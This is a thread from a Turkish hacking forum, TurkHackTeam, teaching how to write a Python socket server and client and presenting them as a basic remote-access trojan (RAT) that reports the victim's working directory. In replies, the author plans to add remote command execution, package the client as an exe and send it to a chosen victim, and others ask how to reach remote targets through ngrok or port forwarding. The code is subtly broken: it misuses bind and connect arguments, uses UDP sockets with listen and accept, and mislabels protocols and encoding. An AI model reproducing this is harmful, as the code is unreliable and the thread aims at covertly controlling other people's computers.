Pythonda Sunucu Açma Nasıl Yapılır? - Basit Rat Yapımı

LordSUCCESS

Uzman üye
17 Eyl 2023
1,331
597
FTP Server
nsg554h.png


2bWoAXtnij.gif


Merhaba Değerli TurkHackTeam Ailesi, Bugün sizinle pythonda sunucu açma nasıl yapılır onu göreceğiz, Örnek proje olarak basit bir rat yazacağız


2bWoAXtnij.gif


Sunucu açma nedir?, Ne işe yarar:
  1. Ağ tabanlı uygulamalar geliştirmek: Sunucu açma, ağ üzerindeki diğer cihazlarla iletişim kurmak için temel bir adımdır. Web sunucuları, dosya paylaşımı sunucuları ve oyun sunucuları gibi çeşitli ağ tabanlı uygulamalar bu temel üzerine inşa edilir.
  2. Veri paylaşımı: Bilgisayarınızı bir sunucu olarak kullanarak, diğer cihazlarla veri paylaşımı yapabilirsiniz. Dosyaları paylaşmak, veritabanı erişimi sağlamak veya sensör verilerini paylaşmak gibi işlevler bu kategoriye girer.​
  3. Uzak erişim: Python sunucusu, bilgisayarınıza uzaktan erişim sağlayan çözümler için de kullanılabilir. Örneğin, uzaktan komut istemi hizmetleri veya uzak dosya yönetimi gibi işlevler sağlayabilir​
2bWoAXtnij.gif


Sunucu açmak için ne gerekli:

Python'da sunucu açmak oldukça kolaydır. Ancak, dış IP adresi üzerinden erişilebilir olması gerekiyorsa, modeminizde ilgili portun açık olması gerekmektedir. Bu, dış dünyadan gelen isteklerin doğru şekilde sunucunuza ulaşabilmesini sağlar.



2bWoAXtnij.gif


Sunucu açma riskleri nelerdir:
  • Güvenlik açıkları: Sunucu yazılımında veya konfigürasyonunda meydana gelebilecek güvenlik açıkları, kötü niyetli kişilerin sisteme izinsiz erişim kazanmasına veya hizmetleri kötüye kullanmasına olanak tanır.​
  • Kötü niyetli kullanım: Bir sunucu, kötü niyetli kişilerin hedefi olabilir. Örneğin, sunucuya saldırarak kişisel verileri çalmak, hizmetleri engellemek veya zararlı yazılım dağıtmak gibi kötü niyetli faaliyetlerde bulunabilirler.​
  • DDoS saldırıları: Hizmet reddi saldırıları (DDoS), bir sunucunun aşırı yük altında kalmasına ve hizmetlerinin kullanılamaz hale gelmesine neden olabilir. Bu tür saldırılar, sunucunun işlevselliğini aksatabilir ve kullanıcı deneyimini olumsuz etkileyebilir.​
  • Veri sızıntısı: Eğer sunucu üzerinde hassas veriler saklanıyorsa, güvenlik zafiyetleri veya yetki dışı erişimler sonucunda bu verilerin sızdırılması riski bulunmaktadır. Bu durum, hem kurumsal itibarın zarar görmesine hem de kullanıcıların güvenliğinin tehlikeye girmesine yol açabilir.​
  • Yasal sorumluluklar: Sunucu sahipleri, hizmetlerinin güvenliğini sağlamakla yükümlüdürler. Güvenlik ihlalleri veya veri sızıntıları durumunda yasal sorumluluklarla karşılaşabilirler. GDPR gibi düzenlemelere uyum sağlamak da önemlidir.​

2bWoAXtnij.gif


Socket Nedir?, Ne işe yarar:

Bilgisayar ağlarında iletişim kurmak için kullanılan bir arayüzdür. Temel olarak, iki bilgisayar arasında veri alışverişi yapmak için bir kanal sağlar. Bu kanal, iletişim kurmak isteyen cihazlar arasında veri göndermek ve almak için kullanılır.



2bWoAXtnij.gif


Kodlama:
Basit bir sunucu açalım;
server.py

Python:
import socket

ip = '127.0.0.1' # ben local hostta çalıştırmak için bu IP verdim, siz buraya modem IP'nizi vermeniz gerekmekte
port = 8080 # ben burada 8080 portunu kullandım siz açtığınız portu yazmanız lazım

try:
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # burada ilk önce server diye değişken oluşturduk UDP protokolunu kullandım eğer sizin açtığınız port sadece tcp'yi
                                                            #destekliyor socket.socket.SOCK_STREAM yapabilirsiniz ama eğer ikisinide destekliyorsa ikisinide kullanabilirsiniz
    server.bind(ip, port) # sunucu ayarı olarak ip ver portu verdik birleştirip oluşturduk
    server.listen(3) # sunucu limiti

    while True: # burada sonsuz döngü halinde sunucu bekliyor
        client = server.accept() # eğer biri gelirse sunucuya kabul ediyor
        print(f"{client} --> Girdi") # sunucunun ipsini alıyor
except socket.error as e:
    print(f"")

Basit bir client yani istemci oluşturalım;
client.py
Python:
import socket

ip = '127.0.0.1' # bağlanmak istediğim IP
port = 8080 # bağlanmak istediğim Port

try:
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect(ip, port) #connect yani bağlantı ya IP ve Portumu veriyorum
    print("Başarılı giriş") # giriş başarlı ise 'Başarılı giriş' yazdırır
    server.close() # sunucudan kapatır yani çıkar
except:
    print("Başarısız giriş") # giriş Başarısız ise 'Başarısız giriş' yazdırır
    server.close()

Şimdi ise sunucu açalım client bağlanırsa client'inin şuanki hangi klasörde olduğunu yapalım:

server.py
Python:
import socket

ip = '127.0.0.1'
port = 8080

def server(ip='', port=0):
    try:
        adr = (ip, port)
        sunucu = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # tcp sunucu açılıyor sizin açtığınız port UPD destekliyorsa 'SOCK_DGRAM' veya herikisini destekliyorsa sıkıntı olmaz
        sunucu.bind(adr)
        sunucu.listen(4)
        print(f"Sunucu Açıldı... | IP: {ip}, Port: {port}")
        while True:
                client, adres = sunucu.accept()
                print(f"{ip} --> Bu IP Sunucuya Girmiştir...\n")
                data = client.recv(1024) # client veri gönderirse alır
                print(data) # client'in verisini yazdırır
    except socket.error as hata:
        print(f"Hata: {hata}")
        sunucu.close()

server(ip, port)
client.py
Python:
import socket
import os
ip = '127.0.0.1' # bağlanmak istediğim IP
port = 8080 # bağlanmak istediğim Port
try:
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect(ip, port) #connect yani bağlantı ya IP ve Portumu veriyorum
    print("Başarılı giriş") # giriş başarlı ise 'Başarılı giriş' yazdırır
    whoami = os.getcwd() # bu bilgisayarda hangi dosyadayız onu yazar
    data = whoami.encode() # datayı encode yani şifreledik
    server.send(data) # sunucuya gönderiyoruz
    server.close() # sunucudan kapatır yani çıkar
except:
    print("Başarısız giriş") # giriş Başarısız ise 'Başarısız giriş' yazdırır
    server.close()

Çıktı:

2vq6i58.png


Başarılı şekilde bize nerede olduğunu gösterdi, Basit bir RAT yaptık


Greetings: @Bunjo


2bWoAXtnij.gif


5qt7q5y.png
 

QuatrexDefacer

Black Hat Junior
15 Eki 2022
593
363
Baku
nsg554h.png


2bWoAXtnij.gif


Merhaba Değerli TurkHackTeam Ailesi, Bugün sizinle pythonda sunucu açma nasıl yapılır onu göreceğiz, Örnek proje olarak basit bir rat yazacağız


2bWoAXtnij.gif


Sunucu açma nedir?, Ne işe yarar:
  1. Ağ tabanlı uygulamalar geliştirmek: Sunucu açma, ağ üzerindeki diğer cihazlarla iletişim kurmak için temel bir adımdır. Web sunucuları, dosya paylaşımı sunucuları ve oyun sunucuları gibi çeşitli ağ tabanlı uygulamalar bu temel üzerine inşa edilir.
  2. Veri paylaşımı: Bilgisayarınızı bir sunucu olarak kullanarak, diğer cihazlarla veri paylaşımı yapabilirsiniz. Dosyaları paylaşmak, veritabanı erişimi sağlamak veya sensör verilerini paylaşmak gibi işlevler bu kategoriye girer.​
  3. Uzak erişim: Python sunucusu, bilgisayarınıza uzaktan erişim sağlayan çözümler için de kullanılabilir. Örneğin, uzaktan komut istemi hizmetleri veya uzak dosya yönetimi gibi işlevler sağlayabilir​
2bWoAXtnij.gif


Sunucu açmak için ne gerekli:

Python'da sunucu açmak oldukça kolaydır. Ancak, dış IP adresi üzerinden erişilebilir olması gerekiyorsa, modeminizde ilgili portun açık olması gerekmektedir. Bu, dış dünyadan gelen isteklerin doğru şekilde sunucunuza ulaşabilmesini sağlar.



2bWoAXtnij.gif


Sunucu açma riskleri nelerdir:
  • Güvenlik açıkları: Sunucu yazılımında veya konfigürasyonunda meydana gelebilecek güvenlik açıkları, kötü niyetli kişilerin sisteme izinsiz erişim kazanmasına veya hizmetleri kötüye kullanmasına olanak tanır.​
  • Kötü niyetli kullanım: Bir sunucu, kötü niyetli kişilerin hedefi olabilir. Örneğin, sunucuya saldırarak kişisel verileri çalmak, hizmetleri engellemek veya zararlı yazılım dağıtmak gibi kötü niyetli faaliyetlerde bulunabilirler.​
  • DDoS saldırıları: Hizmet reddi saldırıları (DDoS), bir sunucunun aşırı yük altında kalmasına ve hizmetlerinin kullanılamaz hale gelmesine neden olabilir. Bu tür saldırılar, sunucunun işlevselliğini aksatabilir ve kullanıcı deneyimini olumsuz etkileyebilir.​
  • Veri sızıntısı: Eğer sunucu üzerinde hassas veriler saklanıyorsa, güvenlik zafiyetleri veya yetki dışı erişimler sonucunda bu verilerin sızdırılması riski bulunmaktadır. Bu durum, hem kurumsal itibarın zarar görmesine hem de kullanıcıların güvenliğinin tehlikeye girmesine yol açabilir.​
  • Yasal sorumluluklar: Sunucu sahipleri, hizmetlerinin güvenliğini sağlamakla yükümlüdürler. Güvenlik ihlalleri veya veri sızıntıları durumunda yasal sorumluluklarla karşılaşabilirler. GDPR gibi düzenlemelere uyum sağlamak da önemlidir.​

2bWoAXtnij.gif


Socket Nedir?, Ne işe yarar:

Bilgisayar ağlarında iletişim kurmak için kullanılan bir arayüzdür. Temel olarak, iki bilgisayar arasında veri alışverişi yapmak için bir kanal sağlar. Bu kanal, iletişim kurmak isteyen cihazlar arasında veri göndermek ve almak için kullanılır.



2bWoAXtnij.gif


Kodlama:
Basit bir sunucu açalım;
server.py

Python:
import socket

ip = '127.0.0.1' # ben local hostta çalıştırmak için bu IP verdim, siz buraya modem IP'nizi vermeniz gerekmekte
port = 8080 # ben burada 8080 portunu kullandım siz açtığınız portu yazmanız lazım

try:
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # burada ilk önce server diye değişken oluşturduk UDP protokolunu kullandım eğer sizin açtığınız port sadece tcp'yi
                                                            #destekliyor socket.socket.SOCK_STREAM yapabilirsiniz ama eğer ikisinide destekliyorsa ikisinide kullanabilirsiniz
    server.bind(ip, port) # sunucu ayarı olarak ip ver portu verdik birleştirip oluşturduk
    server.listen(3) # sunucu limiti

    while True: # burada sonsuz döngü halinde sunucu bekliyor
        client = server.accept() # eğer biri gelirse sunucuya kabul ediyor
        print(f"{client} --> Girdi") # sunucunun ipsini alıyor
except socket.error as e:
    print(f"")

Basit bir client yani istemci oluşturalım;
client.py
Python:
import socket

ip = '127.0.0.1' # bağlanmak istediğim IP
port = 8080 # bağlanmak istediğim Port

try:
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect(ip, port) #connect yani bağlantı ya IP ve Portumu veriyorum
    print("Başarılı giriş") # giriş başarlı ise 'Başarılı giriş' yazdırır
    server.close() # sunucudan kapatır yani çıkar
except:
    print("Başarısız giriş") # giriş Başarısız ise 'Başarısız giriş' yazdırır
    server.close()

Şimdi ise sunucu açalım client bağlanırsa client'inin şuanki hangi klasörde olduğunu yapalım:

server.py
Python:
import socket

ip = '127.0.0.1'
port = 8080

def server(ip='', port=0):
    try:
        adr = (ip, port)
        sunucu = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # tcp sunucu açılıyor sizin açtığınız port UPD destekliyorsa 'SOCK_DGRAM' veya herikisini destekliyorsa sıkıntı olmaz
        sunucu.bind(adr)
        sunucu.listen(4)
        print(f"Sunucu Açıldı... | IP: {ip}, Port: {port}")
        while True:
                client, adres = sunucu.accept()
                print(f"{ip} --> Bu IP Sunucuya Girmiştir...\n")
                data = client.recv(1024) # client veri gönderirse alır
                print(data) # client'in verisini yazdırır
    except socket.error as hata:
        print(f"Hata: {hata}")
        sunucu.close()

server(ip, port)
client.py
Python:
import socket
import os
ip = '127.0.0.1' # bağlanmak istediğim IP
port = 8080 # bağlanmak istediğim Port
try:
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect(ip, port) #connect yani bağlantı ya IP ve Portumu veriyorum
    print("Başarılı giriş") # giriş başarlı ise 'Başarılı giriş' yazdırır
    whoami = os.getcwd() # bu bilgisayarda hangi dosyadayız onu yazar
    data = whoami.encode() # datayı encode yani şifreledik
    server.send(data) # sunucuya gönderiyoruz
    server.close() # sunucudan kapatır yani çıkar
except:
    print("Başarısız giriş") # giriş Başarısız ise 'Başarısız giriş' yazdırır
    server.close()

Çıktı:

2vq6i58.png


Başarılı şekilde bize nerede olduğunu gösterdi, Basit bir RAT yaptık


Greetings: @Bunjo


2bWoAXtnij.gif


5qt7q5y.png
Eline sağlık faydalı olmus
 

Bunjo

Uzman üye
14 Ara 2020
1,587
1,883
HTTParty
Eline sağlık, yeni konularda da komut gönderip çalıştırmayı ekleyebilirsin fakat Python3 kullanacağın için veriyi gönderirken ve alırken byte ile göndermen gerekecek.
 

LordSUCCESS

Uzman üye
17 Eyl 2023
1,331
597
FTP Server
Eline sağlık, yeni konularda da komut gönderip çalıştırmayı ekleyebilirsin fakat Python3 kullanacağın için veriyi gönderirken ve alırken byte ile göndermen gerekecek.
Teşekkürler Hocam, Bidahaki konuda sizin dediğiniz gibi komut vs yapacağım hatta o client'ı exeye çevirmeyi ve iur kurban belirleyip ona atmayı göstericem öyle bir konu gelicek umarım
 

Carlonhack

Uzman üye
20 Şub 2022
1,288
323
Peki port kullanmadan yani örnek uzaktaki birine nasil atacağız yerel ip adresini yazınca çalışmıyor aynı ağda olmamız lazım
 

LordSUCCESS

Uzman üye
17 Eyl 2023
1,331
597
FTP Server
Peki port kullanmadan yani örnek uzaktaki birine nasil atacağız yerel ip adresini yazınca çalışmıyor aynı ağda olmamız lazım
Onun için modemden port açman lazım veya ngrok kullanabilirsin ama en sağlıklısı port açmak, zaten ileri zamanlarda rat eğitimi vericem yani clienti exe'ye dönüştürmeyi göstericem
 

Carlonhack

Uzman üye
20 Şub 2022
1,288
323
Onun için modemden port açman lazım veya ngrok kullanabilirsin ama en sağlıklısın port açmak
Ngrok nasıl kullanabiliriz bu tool


Konuda anlatilanin aynısı host istoyir ngrok linki yapıştırdım olmadi
 

LordSUCCESS

Uzman üye
17 Eyl 2023
1,331
597
FTP Server
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.